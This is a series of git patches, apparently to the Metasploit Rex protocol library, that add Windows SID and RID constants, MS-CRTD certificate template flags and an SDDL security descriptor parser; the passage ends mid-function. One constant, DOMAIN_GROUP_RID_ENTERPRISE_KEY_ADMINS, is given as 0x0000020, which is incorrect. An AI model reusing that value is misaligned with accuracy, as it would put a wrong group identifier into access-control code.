--- lib/rex/proto/ms_dtyp.rb | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/rex/proto/ms_dtyp.rb b/lib/rex/proto/ms_dtyp.rb index 00e3a538e2ecf..5f148c438c2e6 100644 --- a/lib/rex/proto/ms_dtyp.rb +++ b/lib/rex/proto/ms_dtyp.rb @@ -54,17 +54,18 @@ class MsDtypSid < BinData::Primitive def set(val) # allow assignment from the human-readable string representation - raise ArgumentError.new("Invalid SID: #{val}") unless val.is_a?(String) && val =~ /^S-1-(\d+)(-\d+)+$/ + raise ArgumentError.new("Invalid SID: #{val}") unless val.is_a?(String) && val =~ /^S-1-(\d+)(-\d+)*$/ _, _, ia, sa = val.split('-', 4) self.identifier_authority = [ia.to_i].pack('Q>')[2..].bytes - self.sub_authority = sa.split('-').map(&:to_i) + self.sub_authority = sa.nil? ? [] : sa.split('-').map(&:to_i) end def get str = 'S-1' str << "-#{("\x00\x00" + identifier_authority.to_binary_s).unpack1('Q>')}" - str << '-' + sub_authority.map(&:to_s).join('-') + str << '-' + sub_authority.map(&:to_s).join('-') unless sub_authority.empty? + str end def rid From 49fd6e876acd9cc229afb3640e61ebaeed06e165 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 5 May 2023 13:00:21 -0400 Subject: [PATCH 164/415] Add constants from MS-CRTD --- lib/rex/proto/ms_crtd.rb | 59 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 lib/rex/proto/ms_crtd.rb diff --git a/lib/rex/proto/ms_crtd.rb b/lib/rex/proto/ms_crtd.rb new file mode 100644 index 0000000000000..101157ff6e900 --- /dev/null +++ b/lib/rex/proto/ms_crtd.rb @@ -0,0 +1,59 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Rex::Proto + module MsCrtd + # see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/4c6950e4-1dc2-4ae3-98c3-b8919bb73822 + + # [2.26 msPKI-Enrollment-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b52272dec8a1) + CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS = 0x00000001 + CT_FLAG_PEND_ALL_REQUESTS = 0x00000002 + CT_FLAG_PUBLISH_TO_KRA_CONTAINER = 0x00000004 + CT_FLAG_PUBLISH_TO_DS = 0x00000008 + CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE = 0x00000010 + CT_FLAG_AUTO_ENROLLMENT = 0x00000020 + CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT = 0x00000040 + CT_FLAG_USER_INTERACTION_REQUIRED = 0x00000100 + CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE = 0x00000400 + CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF = 0x00000800 + CT_FLAG_ADD_OCSP_NOCHECK = 0x00001000 + CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL = 0x00002000 + CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS = 0x00004000 + CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS = 0x00008000 + CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT = 0x00010000 + CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST = 0x00020000 + CT_FLAG_SKIP_AUTO_RENEWAL = 0x00040000 + + # [2.27 msPKI-Private-Key-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f465e8949667) + CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL = 0x00000001 + CT_FLAG_EXPORTABLE_KEY = 0x00000010 + CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED = 0x00000020 + CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM = 0x00000040 + CT_FLAG_REQUIRE_SAME_KEY_RENEWAL = 0x00000080 + CT_FLAG_USE_LEGACY_PROVIDER = 0x00000100 + CT_FLAG_ATTEST_NONE = 0x00000000 + CT_FLAG_ATTEST_REQUIRED = 0x00002000 + CT_FLAG_ATTEST_PREFERRED = 0x00001000 + CT_FLAG_ATTESTATION_WITHOUT_POLICY = 0x00004000 + CT_FLAG_EK_TRUST_ON_USE = 0x00000200 + CT_FLAG_EK_VALIDATE_CERT = 0x00000400 + CT_FLAG_EK_VALIDATE_KEY = 0x00000800 + CT_FLAG_HELLO_LOGON_KEY = 0x00200000 + + # [2.28 msPKI-Certificate-Name-Flag Attribute](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1) + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT = 0x00000001 + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME = 0x00010000 + CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS = 0x00400000 + CT_FLAG_SUBJECT_ALT_REQUIRE_SPN = 0x00800000 + CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID = 0x01000000 + CT_FLAG_SUBJECT_ALT_REQUIRE_UPN = 0x02000000 + CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL = 0x04000000 + CT_FLAG_SUBJECT_ALT_REQUIRE_DNS = 0x08000000 + CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN = 0x10000000 + CT_FLAG_SUBJECT_REQUIRE_EMAIL = 0x20000000 + CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME = 0x40000000 + CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH = 0x80000000 + CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME = 0x00000008 + + end +end From 3af052390da4d30cc2c83b6db22fbf6c9eedbce5 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 2 May 2023 14:19:31 -0400 Subject: [PATCH 165/415] Add well known SID and RID constants --- lib/rex/proto/secauthz/well_known_sids.rb | 148 ++++++++++++++++++++++ 1 file changed, 148 insertions(+) create mode 100644 lib/rex/proto/secauthz/well_known_sids.rb diff --git a/lib/rex/proto/secauthz/well_known_sids.rb b/lib/rex/proto/secauthz/well_known_sids.rb new file mode 100644 index 0000000000000..5ecc2ee711336 --- /dev/null +++ b/lib/rex/proto/secauthz/well_known_sids.rb @@ -0,0 +1,148 @@ +# -*- coding: binary -*- +# frozen_string_literal: true + +module Rex::Proto::Secauthz + module WellKnownSids + + # see: https://learn.microsoft.com/en-us/windows/win32/secauthz/well-known-sids + + SECURITY_NULL_SID_AUTHORITY = 'S-1-0' + SECURITY_WORLD_SID_AUTHORITY = 'S-1-1' + SECURITY_LOCAL_SID_AUTHORITY = 'S-1-2' + SECURITY_CREATOR_SID_AUTHORITY = 'S-1-3' + SECURITY_NT_AUTHORITY = 'S-1-5' + + SECURITY_NULL_RID = 0 + SECURITY_WORLD_RID = 0 + SECURITY_LOCAL_RID = 0 + SECURITY_LOCAL_LOGON_RID = 1 + SECURITY_CREATOR_OWNER_RID = 0 + SECURITY_CREATOR_GROUP_RID = 1 + + SECURITY_CREATOR_OWNER_SID = "#{SECURITY_CREATOR_SID_AUTHORITY}-#{SECURITY_CREATOR_OWNER_RID}" + SECURITY_CREATOR_GROUP_SID = "#{SECURITY_CREATOR_SID_AUTHORITY}-#{SECURITY_CREATOR_GROUP_RID}" + + SECURITY_DIALUP_SID = "#{SECURITY_NT_AUTHORITY}-1" + SECURITY_NETWORK_SID = "#{SECURITY_NT_AUTHORITY}-2" + SECURITY_BATCH_SID = "#{SECURITY_NT_AUTHORITY}-3" + SECURITY_INTERACTIVE_SID = "#{SECURITY_NT_AUTHORITY}-4" + #SECURITY_LOGON_IDS_SID = "#{SECURITY_NT_AUTHORITY}-5-X-Y" + SECURITY_SERVICE_SID = "#{SECURITY_NT_AUTHORITY}-6" + SECURITY_ANONYMOUS_LOGON_SID = "#{SECURITY_NT_AUTHORITY}-7" + SECURITY_PROXY_SID = "#{SECURITY_NT_AUTHORITY}-8" + SECURITY_ENTERPRISE_CONTROLLERS_SID = "#{SECURITY_NT_AUTHORITY}-9" + SECURITY_PRINCIPAL_SELF_SID = "#{SECURITY_NT_AUTHORITY}-10" + SECURITY_AUTHENTICATED_USER_SID = "#{SECURITY_NT_AUTHORITY}-11" + SECURITY_RESTRICTED_CODE_SID = "#{SECURITY_NT_AUTHORITY}-12" + SECURITY_TERMINAL_SERVER_SID = "#{SECURITY_NT_AUTHORITY}-13" + SECURITY_LOCAL_SYSTEM_SID = "#{SECURITY_NT_AUTHORITY}-18" + SECURITY_LOCAL_SERVICE_SID = "#{SECURITY_NT_AUTHORITY}-19" + SECURITY_NETWORK_SERVICE_SID = "#{SECURITY_NT_AUTHORITY}-20" + SECURITY_NT_NON_UNIQUE = "#{SECURITY_NT_AUTHORITY}-21" + SECURITY_BUILTIN_DOMAIN_SID = "#{SECURITY_NT_AUTHORITY}-32" + SECURITY_WRITE_RESTRICTED_CODE_SID = "#{SECURITY_NT_AUTHORITY}-33" + + SECURITY_USERMODEDRIVERHOST_ID_BASE_SID = "#{SECURITY_NT_AUTHORITY}-0" + SECURITY_ALL_APP_PACKAGES = 'S-1-15-2-1' + SECURITY_MANDATORY_SYSTEM_SID = 'S-1-16-16384' + SECURITY_AUTHENTICATION_SERVICE_ASSERTED_SID = "S-1-18-2" + + DOMAIN_USER_RID_ADMIN = 0x000001F4 + DOMAIN_USER_RID_GUEST = 0x000001F5 + DOMAIN_GROUP_RID_ADMINS = 0x00000200 + DOMAIN_GROUP_RID_USERS = 0x00000201 + DOMAIN_GROUP_RID_GUESTS = 0x00000202 + DOMAIN_GROUP_RID_COMPUTERS = 0x00000203 + DOMAIN_GROUP_RID_CONTROLLERS = 0x00000204 + DOMAIN_GROUP_RID_CERT_ADMINS = 0x00000205 + DOMAIN_GROUP_RID_ENTERPRISE_READONLY_DOMAIN_CONTROLLERS = 0x000001F2 + DOMAIN_GROUP_RID_SCHEMA_ADMINS = 0x00000206 + DOMAIN_GROUP_RID_ENTERPRISE_ADMINS = 0x00000207 + DOMAIN_GROUP_RID_POLICY_ADMINS = 0x00000208 + DOMAIN_GROUP_RID_READONLY_CONTROLLERS = 0x00000209 + DOMAIN_GROUP_RID_CLONEABLE_CONTROLLERS = 0x0000020A + DOMAIN_GROUP_RID_CDC_RESERVED = 0x0000020C + DOMAIN_GROUP_RID_PROTECTED_USERS = 0x0000020D + DOMAIN_GROUP_RID_KEY_ADMINS = 0x0000020E + DOMAIN_GROUP_RID_ENTERPRISE_KEY_ADMINS = 0x0000020 + + SECURITY_MANDATORY_UNTRUSTED_RID = 0x00000000 + SECURITY_MANDATORY_LOW_RID = 0x00001000 + SECURITY_MANDATORY_MEDIUM_RID = 0x00002000 + SECURITY_MANDATORY_MEDIUM_PLUS_RID = SECURITY_MANDATORY_MEDIUM_RID + 0x100 + SECURITY_MANDATORY_HIGH_RID = 0X00003000 + SECURITY_MANDATORY_SYSTEM_RID = 0x00004000 + SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x00005000 + + DOMAIN_ALIAS_RID_ADMINS = 0x00000220 + DOMAIN_ALIAS_RID_USERS = 0x00000221 + DOMAIN_ALIAS_RID_GUESTS = 0x00000222 + DOMAIN_ALIAS_RID_POWER_USERS = 0x00000223 + DOMAIN_ALIAS_RID_ACCOUNT_OPS = 0x00000224 + DOMAIN_ALIAS_RID_SYSTEM_OPS = 0x00000225 + DOMAIN_ALIAS_RID_PRINT_OPS = 0x00000226 + DOMAIN_ALIAS_RID_BACKUP_OPS = 0x00000227 + DOMAIN_ALIAS_RID_REPLICATOR = 0x00000228 + DOMAIN_ALIAS_RID_RAS_SERVERS = 0x00000229 + DOMAIN_ALIAS_RID_PREW2KCOMPACCESS = 0x0000022A + DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS = 0x0000022B + DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS = 0x0000022C + DOMAIN_ALIAS_RID_INCOMING_FOREST_TRUST_BUILDERS = 0x0000022D + DOMAIN_ALIAS_RID_MONITORING_USERS = 0x0000022E + DOMAIN_ALIAS_RID_LOGGING_USERS = 0x0000022F + DOMAIN_ALIAS_RID_AUTHORIZATIONACCESS = 0x00000230 + DOMAIN_ALIAS_RID_TS_LICENSE_SERVERS = 0x00000231 + DOMAIN_ALIAS_RID_DCOM_USERS = 0x00000232 + DOMAIN_ALIAS_RID_IUSERS = 0X00000238 + DOMAIN_ALIAS_RID_CRYPTO_OPERATORS = 0x00000239 + DOMAIN_ALIAS_RID_CACHEABLE_PRINCIPALS_GROUP = 0x0000023B + DOMAIN_ALIAS_RID_NON_CACHEABLE_PRINCIPALS_GROUP = 0x0000023C + DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP = 0x0000023D + DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP = 0x0000023E + DOMAIN_ALIAS_RID_RDS_REMOTE_ACCESS_SERVERS = 0x0000023F + DOMAIN_ALIAS_RID_RDS_ENDPOINT_SERVERS = 0x00000240 + DOMAIN_ALIAS_RID_RDS_MANAGEMENT_SERVERS = 0x00000241 + DOMAIN_ALIAS_RID_HYPER_V_ADMINS = 0x00000242 + DOMAIN_ALIAS_RID_ACCESS_CONTROL_ASSISTANCE_OPS = 0x00000243 + DOMAIN_ALIAS_RID_REMOTE_MANAGEMENT_USERS = 0x00000244 + DOMAIN_ALIAS_RID_DEFAULT_ACCOUNT = 0x00000245 + DOMAIN_ALIAS_RID_STORAGE_REPLICA_ADMINS = 0x00000246 + DOMAIN_ALIAS_RID_DEVICE_OWNERS = 0x00000247 + + DOMAIN_ALIAS_SID_ADMINS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_ADMINS}" + DOMAIN_ALIAS_SID_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_USERS}" + DOMAIN_ALIAS_SID_GUESTS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_GUESTS}" + DOMAIN_ALIAS_SID_POWER_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_POWER_USERS}" + DOMAIN_ALIAS_SID_ACCOUNT_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_ACCOUNT_OPS}" + DOMAIN_ALIAS_SID_SYSTEM_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_SYSTEM_OPS}" + DOMAIN_ALIAS_SID_PRINT_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_PRINT_OPS}" + DOMAIN_ALIAS_SID_BACKUP_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_BACKUP_OPS}" + DOMAIN_ALIAS_SID_REPLICATOR = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_REPLICATOR}" + DOMAIN_ALIAS_SID_RAS_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_RAS_SERVERS}" + DOMAIN_ALIAS_SID_PREW2KCOMPACCESS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_PREW2KCOMPACCESS}" + DOMAIN_ALIAS_SID_REMOTE_DESKTOP_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS}" + DOMAIN_ALIAS_SID_NETWORK_CONFIGURATION_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS}" + DOMAIN_ALIAS_SID_INCOMING_FOREST_TRUST_BUILDERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_INCOMING_FOREST_TRUST_BUILDERS}" + DOMAIN_ALIAS_SID_MONITORING_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_MONITORING_USERS}" + DOMAIN_ALIAS_SID_LOGGING_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_LOGGING_USERS}" + DOMAIN_ALIAS_SID_AUTHORIZATIONACCESS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_AUTHORIZATIONACCESS}" + DOMAIN_ALIAS_SID_TS_LICENSE_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_TS_LICENSE_SERVERS}" + DOMAIN_ALIAS_SID_DCOM_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_DCOM_USERS}" + DOMAIN_ALIAS_SID_IUSERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_IUSERS}" + DOMAIN_ALIAS_SID_CRYPTO_OPERATORS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_CRYPTO_OPERATORS}" + DOMAIN_ALIAS_SID_CACHEABLE_PRINCIPALS_GROUP = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_CACHEABLE_PRINCIPALS_GROUP}" + DOMAIN_ALIAS_SID_NON_CACHEABLE_PRINCIPALS_GROUP = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_NON_CACHEABLE_PRINCIPALS_GROUP}" + DOMAIN_ALIAS_SID_EVENT_LOG_READERS_GROUP = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP}" + DOMAIN_ALIAS_SID_CERTSVC_DCOM_ACCESS_GROUP = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP}" + DOMAIN_ALIAS_SID_RDS_REMOTE_ACCESS_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_RDS_REMOTE_ACCESS_SERVERS}" + DOMAIN_ALIAS_SID_RDS_ENDPOINT_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_RDS_ENDPOINT_SERVERS}" + DOMAIN_ALIAS_SID_RDS_MANAGEMENT_SERVERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_RDS_MANAGEMENT_SERVERS}" + DOMAIN_ALIAS_SID_HYPER_V_ADMINS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_HYPER_V_ADMINS}" + DOMAIN_ALIAS_SID_ACCESS_CONTROL_ASSISTANCE_OPS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_ACCESS_CONTROL_ASSISTANCE_OPS}" + DOMAIN_ALIAS_SID_REMOTE_MANAGEMENT_USERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_REMOTE_MANAGEMENT_USERS}" + DOMAIN_ALIAS_SID_DEFAULT_ACCOUNT = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_DEFAULT_ACCOUNT}" + DOMAIN_ALIAS_SID_STORAGE_REPLICA_ADMINS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_STORAGE_REPLICA_ADMINS}" + DOMAIN_ALIAS_SID_DEVICE_OWNERS = "#{SECURITY_BUILTIN_DOMAIN_SID}-#{DOMAIN_ALIAS_RID_DEVICE_OWNERS}" + + end +end From ff4fafda2f5f21f4206ad8f057c7493277bcf5b4 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 3 May 2023 15:25:13 -0400 Subject: [PATCH 166/415] Add support for parsing SDDL --- lib/rex/proto/ms_dtyp.rb | 407 ++++++++++++++++++++++++++++++++++++++- 1 file changed, 406 insertions(+), 1 deletion(-) diff --git a/lib/rex/proto/ms_dtyp.rb b/lib/rex/proto/ms_dtyp.rb index 5f148c438c2e6..cf721ee94797b 100644 --- a/lib/rex/proto/ms_dtyp.rb +++ b/lib/rex/proto/ms_dtyp.rb @@ -1,5 +1,9 @@ # -*- coding: binary -*- +require 'bindata' +require 'ruby_smb' +require 'rex/proto/secauthz/well_known_sids' + module Rex::Proto::MsDtyp # [2.4.3 ACCESS_MASK](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b) class MsDtypAccessMask < BinData::Record @@ -121,7 +125,7 @@ class MsDtypAceHeader < BinData::Record struct :ace_flags do bit1 :failed_access_ace_flag bit1 :successful_access_ace_flag - bit1 :reserved + bit1 :critical_ace_flag # used only with access allowed ACE types, see: https://www.codemachine.com/downloads/win10.1903/ntifs.h bit1 :inherited_ace bit1 :inherit_only_ace bit1 :no_propagate_inherit_ace @@ -267,6 +271,407 @@ class MsDtypSecurityDescriptor < BinData::Record rest :buffer, value: -> { build_buffer } hide :buffer + def self.from_sddl_text(sddl_text, domain_sid:) + sacl_set = dacl_set = false + sd = self.new + sddl_text = sddl_text.dup.gsub(/\s/, '') # start by removing all whitespace + sddl_text.scan(/([OGDS]:(?:.(?!:))*)/).each do |part,| + component, _, value = part.partition(':') + case component + when 'O' + if sd.owner_sid.present? + raise RuntimeError.new('SDDL parse error on extra owner SID') + end + + sd.owner_sid = self.parse_sddl_sid(value, domain_sid: domain_sid) + when 'G' + if sd.group_sid.present? + raise RuntimeError.new('SDDL parse error on extra group SID') + end + + sd.group_sid = self.parse_sddl_sid(value, domain_sid: domain_sid) + when 'D' + raise RuntimeError.new('SDDL parse error on extra DACL') if dacl_set + + value.upcase! + dacl_set = true + access_control = true + flags = value.split('(', 2).first || '' + flags.split(/(P|AR|AI|NO_ACCESS_CONTROL)/).each do |flag| + case flag + when 'AI' + sd.control.di = true + when 'AR' + sd.control.dc = true + when 'P' + sd.control.pd = true + when 'NO_ACCESS_CONTROL' + access_control = false + when '' + else + raise RuntimeError.new('SDDL parse error on unknown DACL flag: ' + flag) + end + end + + next unless access_control + + sd.dacl = MsDtypAcl.new + sd.dacl.aces = self.parse_sddl_aces(value.delete_prefix(flags), domain_sid: domain_sid) + when 'S' + raise RuntimeError.new('SDDL parse error on extra SACL') if sacl_set + + value.upcase! + sacl_set = true + access_control = true + flags = value.split('(', 2).first || '' + flags.split(/(P|AR|AI|NO_ACCESS_CONTROL)/).each do |flag| + case flag + when 'AI' + sd.control.si = true + when 'AR' + sd.control.sc = true + when 'P' + sd.control.ps = true + when 'NO_ACCESS_CONTROL' + access_control = false + when '' + else + raise RuntimeError.new('SDDL parse error on unknown SACL flag: ' + flag) + end + end + + next unless access_control + + sd.sacl = MsDtypAcl.new + sd.sacl.aces = self.parse_sddl_aces(value.delete_prefix(flags), domain_sid: domain_sid) + else + raise RuntimeError.new('SDDL parse error on unknown directive: ' + part[0]) + end + end + + sd + end + + class << self + private + + def parse_sddl_ace(ace, domain_sid:) + parts = ace.upcase.split(';', -1) + raise RuntimeError.new('SDDL parse error on too few ACE fields') if parts.length < 6 + raise RuntimeError.new('SDDL parse error on too many ACE fields') if parts.length > 7 + + ace_type, ace_flags, rights, object_guid, inherit_object_guid, account_sid = parts[0...6] + resource_attribute = parts[6] + + ace = MsDtypAce.new + case ace_type + when 'A' + ace.header.ace_type = MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE + when 'D' + ace.header.ace_type = MsDtypAceType::ACCESS_DENIED_ACE_TYPE + when 'OA' + ace.header.ace_type = MsDtypAceType::ACCESS_ALLOWED_OBJECT_ACE_TYPE + when 'OD' + ace.header.ace_type = MsDtypAceType::ACCESS_DENIED_OBJECT_ACE_TYPE + when 'AU' + ace.header.ace_type = MsDtypAceType::SYSTEM_AUDIT_ACE_TYPE + when 'OU' + ace.header.ace_type = MsDtypAceType::SYSTEM_AUDIT_OBJECT_ACE_TYPE + when 'AL', 'OL', 'ML', 'XA', 'SD', 'RA', 'SP', 'XU', 'ZA', 'TL', 'FL' + raise RuntimeError.new('SDDL parse error on unsupported ACE type: ' + ace_type) + else + raise RuntimeError.new('SDDL parse error on unknown ACE type: ' + ace_type) + end + + ace_flags.split(/(CI|OI|NP|IO|ID|SA|FA|TP|CR)/).each do |flag| + case flag + when 'CI' + ace.header.ace_flags.container_inherit_ace = true + when 'OI' + ace.header.ace_flags.object_inherit_ace = true + when 'NP' + ace.header.ace_flags.no_propagate_inherit_ace = true + when 'IO' + ace.header.ace_flags.inherit_only_ace = true + when 'ID' + ace.header.ace_flags.inherited_ace = true + when 'SA' + ace.header.ace_flags.successful_access_ace_flag = true + when 'FA' + ace.header.ace_flags.failed_access_ace_flag = true + when 'TP' + raise RuntimeError.new('SDDL parse error on unsupported ACE flag: TP') + when 'CR' + ace.header.ace_flags.critical_ace_flag = true + when '' + else + raise RuntimeError.new('SDDL parse error on unknown ACE flag: ' + flag) + end + end + + rights.split(/(G[ARWX]|RC|SD|WD|WO|RP|WP|CC|DC|LC|SW|LO|DT|CR|F[ARWX]|K[ARWX]|N[RWX])/).each do |right| + case right + # generic access rights + when 'GA', 'GR', 'GW', 'GX' + ace.body.access_mask.send("#{right.downcase}=", true) + # standard access rights + when 'RC' + ace.body.access_mask.rc = true + when 'SD' + ace.body.access_mask.de = true + when 'WD', 'WO' + ace.body.access_mask.send("#{right.downcase}=", true) + # directory service object access rights + when 'RP' + ace.body.access_mask.protocol |= 16 + when 'WP' + ace.body.access_mask.protocol |= 32 + when 'CC' + ace.body.access_mask.protocol |= 1 + when 'DC' + ace.body.access_mask.protocol |= 2 + when 'LC' + ace.body.access_mask.protocol |= 4 + when 'SW' + ace.body.access_mask.protocol |= 8 + when 'LO' + ace.body.access_mask.protocol |= 128 + when 'DT' + ace.body.access_mask.protocol |= 64 + when 'CR' + ace.body.access_mask.protocol |= 256 + # file access rights + when 'FA' + ace.body.access_mask.protocol |= 0x1ff + ace.body.access_mask.de = true + ace.body.access_mask.rc = true + ace.body.access_mask.wd = true + ace.body.access_mask.wo = true + ace.body.access_mask.sy = true + when 'FR' + ace.body.access_mask.protocol |= 0x89 + when 'FW' + ace.body.access_mask.protocol |= 0x116 + when 'FX' + ace.body.access_mask.protocol |= 0xa0 + # registry key access rights + when 'KA' + ace.body.access_mask.protocol |= 0x3f + ace.body.access_mask.de = true + ace.body.access_mask.rc = true + ace.body.access_mask.wd = true + ace.body.access_mask.wo = true + when 'KR' + ace.body.access_mask.protocol |= 0x19 + when 'KW' + ace.body.access_mask.protocol |= 0x06 + when 'KX' + ace.body.access_mask.protocol |= 0x19 + when 'NR', 'NW', 'NX' + raise RuntimeError.new('SDDL parse error on unsupported ACE access right: ' + right) + when '' + else + raise RuntimeError.new('SDDL parse error on unknown ACE access right: ' + right) + end + end + + unless object_guid.blank? + begin + guid = MsDtypGuid.new(object_guid) + rescue StandardError + raise RuntimeError.new('SDDL parse error on invalid object GUID: ' + object_guid) + end + + unless ace.body.respond_to?('object_type=') + raise RuntimeError.new('SDDL error on setting object type for incompatible ACE type') + end + ace.body.flags.ace_object_type_present = true + ace.body.object_type = guid + end + + unless inherit_object_guid.blank? + begin + guid = MsDtypGuid.new(inherit_object_guid) + rescue StandardError + raise RuntimeError.new('SDDL parse error on invalid object GUID: ' + inherit_object_guid) + end + + unless ace.body.respond_to?('inherited_object_type=') + raise RuntimeError.new('SDDL error on setting object type for incompatible ACE type') + end + ace.body.flags.ace_inherited_object_type_present = true + ace.body.inherited_object_type = guid + end + + unless account_sid.blank? + ace.body.sid = self.parse_sddl_sid(account_sid, domain_sid: domain_sid) + end + + unless resource_attribute.blank? + raise RuntimeError.new('SDDL parse error on unsupported resource attribute: ' + resource_attribute) + end + + ace + end + + def parse_sddl_aces(aces, domain_sid:) + ace_regex = /\([^\)]*\)/ + + invalid_aces = aces.split(ace_regex).reject(&:empty?) + unless invalid_aces.empty? + raise RuntimeError.new('SDDL parse error on malformed ACE: ' + invalid_aces.first) + end + + aces.scan(ace_regex).map do |ace_text| + self.parse_sddl_ace(ace_text[1...-1], domain_sid: domain_sid) + end + end + + def parse_sddl_sid(sid, domain_sid:) + # see: https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-strings + sid = sid.dup.upcase + + # these can be validated using powershell where ?? is the code + # (ConvertFrom-SddlString -Sddl "O:??").RawDescriptor.Owner + case sid + when 'AA' # SDDL_ACCESS_CONTROL_ASSISTANCE_OPS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ACCESS_CONTROL_ASSISTANCE_OPS + when 'AC' # SDDL_ALL_APP_PACKAGES + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_ALL_APP_PACKAGES + when 'AN' # SDDL_ANONYMOUS + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_ANONYMOUS_LOGON_SID + when 'AO' # SDDL_ACCOUNT_OPERATORS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ACCOUNT_OPS + when 'AP' # SDDL_PROTECTED_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_PROTECTED_USERS}" + when 'AU' # SDDL_AUTHENTICATED_USERS + sid = 